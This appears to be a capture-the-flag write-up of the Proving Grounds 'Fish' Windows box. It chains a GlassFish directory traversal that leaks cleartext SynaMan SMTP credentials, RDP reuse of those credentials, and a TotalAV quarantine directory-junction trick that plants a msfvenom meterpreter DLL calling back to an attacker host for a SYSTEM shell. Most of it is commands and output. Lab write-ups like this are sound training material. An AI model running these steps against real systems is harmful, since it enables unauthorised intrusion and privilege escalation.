Skip to content
HackIndex.io

Fish Writeup - Proving Grounds

Intermediate Windows
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 5 min read

The Husky Hacker

sysadmin

Fish exposes an Oracle GlassFish install alongside a SynaMan file manager. A public GlassFish directory traversal reads SynaMan's configuration file, which leaks a cleartext SMTP password reused for RDP. Local access then reveals a TotalAV antivirus install, and a directory-junction race against its quarantine feature plants a malicious DLL for a SYSTEM shell.

Reconnaissance

Nmap

Scan all TCP ports.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -sC -p- $TARGET_IP 
PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
4848/tcp open  http          Sun GlassFish Open Source Edition  4.1
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0
6060/tcp open  x11?          Synametrics Web Server v7
8080/tcp open  http          Sun GlassFish Open Source Edition  4.1

GlassFish 4.1 on two ports and a Synametrics web server on 6060. Search Exploit-DB for GlassFish issues.

GlassFish and SynaMan

Searchsploit turns up a known path traversal.

┌──(kali㉿kali)-[~]
└─$ searchsploit GlassFish Server 4.1 
Oracle GlassFish Server 4.1 - Directory Traversal                              | multiple/webapps/39441.txt
Oracle GlassFish Server Open Source Edition 4.1 - Path Traversal (Metasploit)  | windows/webapps/45196.rb

A Metasploit module exists for it. Confirm it works by reading win.ini.

┌──(kali㉿kali)-[~]
└─$ msfconsole -q -x "use scanner/http/glassfish_traversal; set RHOSTS $TARGET_IP; exploit;" 
[+] File saved in: loot/glassfish_traversal_win.ini.txt
[*] Scanned 1 of 1 hosts (100% complete)

The traversal works. Port 6060 has no Exploit-DB results under "Synametrics", but opening it in a browser identifies the real product.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP:6060 
Server: Synametrics Web Server v7
<snip>
Loading Administration console. Please wait...

The server is running SynaMan, a Synametrics file manager. Search Exploit-DB for that product by name.

┌──(kali㉿kali)-[~]
└─$ searchsploit SynaMan 4.0 
SynaMan 4.0 build 1488 - (Authenticated) Cross-Site Scripting | windows/webapps/45386.txt
SynaMan 4.0 build 1488 - SMTP Credential Disclosure           | windows/webapps/45387.txt

SynaMan 4.0 stores SMTP credentials in cleartext in a configuration file. The GlassFish traversal can reach it directly.

Exploitation

Leaking SynaMan's SMTP credentials

Point the GlassFish traversal module at SynaMan's config file instead of win.ini.

┌──(kali㉿kali)-[~]
└─$ msfconsole -q 
msf6 > use scanner/http/glassfish_traversal
┌──(kali㉿kali)-[~]
└─$ set RHOSTS $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ set FILEPATH /SynaMan/config/AppConfig.xml
┌──(kali㉿kali)-[~]
└─$ run 
[+] File saved in: loot/glassfish_traversal_appconfig.txt

The downloaded configuration contains an account and its SMTP password in cleartext.

┌──(kali㉿kali)-[~]
└─$ cat loot/glassfish_traversal_appconfig.txt 
<parameter name="smtpUser" type="1" value="arthur"></parameter>
<parameter name="smtpPassword" type="1" value="$ARTHUR_PASSWORD"></parameter>

A user account, arthur, with a password. Try it over RDP.

┌──(kali㉿kali)-[~]
└─$ rdesktop $TARGET_IP -u arthur -p $ARTHUR_PASSWORD

The credential works, and the session lands as arthur on the desktop.

PS C:\Users\Guest\Desktop> whoami 
fishyyy\arthur

Local access confirmed. Look around the desktop for anything exploitable.

Privilege Escalation

TotalAV quarantine abuse

A TotalAV icon sits on the desktop. Search Exploit-DB for known issues in it.

┌──(kali㉿kali)-[~]
└─$ searchsploit TotalAV 
TotalAV 2020 4.14.31 - Privilege Escalation | windows/local/47897.txt

The write-up describes abusing TotalAV's quarantine handling with a directory junction: get a malicious DLL detected and quarantined, then redirect the directory it sits in before TotalAV restores it, so the restored file lands somewhere privileged instead. Generate a DLL that TotalAV will flag, and grab Google Project Zero's symbolic link testing tools for the directory junction.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp lhost=$ATTACKER_IP lport=$ATTACKER_PORT -f dll > version.dll 
Payload size: 354 bytes
Final size of dll file: 8704 bytes
┌──(kali㉿kali)-[~]
└─$ wget https://github.com/googleprojectzero/symboliclink-testing-tools/releases/download/v1.0/Release.7z
┌──(kali㉿kali)-[~]
└─$ 7za e Release.7z 
Everything is Ok

Host both files and pull them down from the RDP session.

┌──(kali㉿kali)-[~]
└─$ sudo python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 ...
PS C:\Users\Guest\Desktop> wget http://$ATTACKER_IP/version.dll -UseBasicParsing -OutFile version.dll
PS C:\Users\Guest\Desktop> wget http://$ATTACKER_IP/CreateMountPoint.exe -UseBasicParsing -OutFile CreateMountPoint.exe

Put the DLL in its own directory, which will later be redirected.

PS C:\Users\Guest\Desktop> mkdir mount
PS C:\Users\Guest\Desktop> mv .\version.dll .\mount\

Open TotalAV, run a custom scan against the mount folder, and let it detect and quarantine version.dll. With the file safely in quarantine, use CreateMountPoint.exe to turn mount into a directory junction pointing at the .NET Framework directory.

PS C:\Users\Guest\Desktop> CreateMountPoint.exe "C:\Users\arthur\mount\" "C:\Windows\Microsoft.NET\Framework\v4.0.30319"

Now release the DLL from quarantine in TotalAV. Because mount is junctioned to the .NET Framework directory, the restored file is written there instead of back to its original location. Start a Metasploit handler to catch the callback, then force the DLL to load by rebooting the target, which loads every DLL in that directory for a .NET-hosting system process.

┌──(kali㉿kali)-[~]
└─$ msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost $ATTACKER_IP; set lport $ATTACKER_PORT; run" 
[*] Started reverse TCP handler on $ATTACKER_IP:$ATTACKER_PORT

After the reboot, the handler catches a SYSTEM session.

┌──(kali㉿kali)-[~]
└─$ shell 
[*] Meterpreter session 1 opened
C:\Windows\system32>whoami
nt authority\system

The planted DLL loads as SYSTEM once a trusted process pulls it from the hijacked .NET Framework path.

Related

Directory Traversal
Blog

Directory Traversal

Exploit path traversal vulnerabilities in web apps to access files outside the webroot using encoded...
SMTP Credential Attacks
Blog

SMTP Credential Attacks

Exploiting SMTP authentication weaknesses via brute force, credential stuffing, and relay abuse to g...
Windows Antivirus and EDR Enumeration
Blog

Windows Antivirus and EDR Enumeration

Techniques for identifying installed AV and EDR solutions on Windows systems, including registry que...
Race Condition Exploitation
Blog

Race Condition Exploitation

Exploit time-of-check to time-of-use (TOCTOU) flaws in web apps via concurrent HTTP requests to bypa...

References